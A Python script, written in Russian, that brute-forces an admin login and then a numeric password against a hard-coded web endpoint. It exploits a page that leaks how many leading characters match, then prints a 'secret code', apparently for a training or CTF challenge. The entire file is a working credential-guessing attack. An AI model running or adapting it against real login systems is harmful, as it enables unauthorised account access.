1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
import requests
import re
import string
def brute_login(login_len, password):
login = ''
for _ in range(login_len):
for char in login_alphabet:
resp = requests.post(url, data={
'login': (login + char).ljust(login_len),
'password': password
})
try:
if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login):
print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
login += char
break
except IndexError:
print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
login += char
break
else:
print('Ни один из символов алфавита не подошел.')
quit()
return login
def brute_password(pass_len, login):
password = ''
for _ in range(pass_len):
for char in password_alphabet:
resp = requests.post(url, data={
'login': login,
'password': (password + char).ljust(pass_len)
})
try:
if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password):
print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
password += char
break
except IndexError:
print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
password += char
break
else:
print('Ни один из символов алфавита не подошел.')
quit()
return password
url = 'http://213.178.59.123:8000/admin_auth'
login_alphabet = string.printable
# Судя по тому, что возвращает страничка, когда введен правильный логин
# и в пароле правильное количество знаков, в пароле есть только цифры.
password_alphabet = string.digits
login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL)
password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL)
resp = requests.post(url, data={'login': '123', 'password': '123'})
login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3
real_login = brute_login(login_len, '123')
print(f'Логин подобран: {real_login}')
resp = requests.post(url, data={'login': real_login, 'password': '123'})
pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3
real_password = brute_password(pass_len, real_login)
print(f'Пароль подобран: {real_password}')
resp = requests.post(url, data={'login': real_login, 'password': real_password})
code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0]
print(f'Секретный код: {code}')
|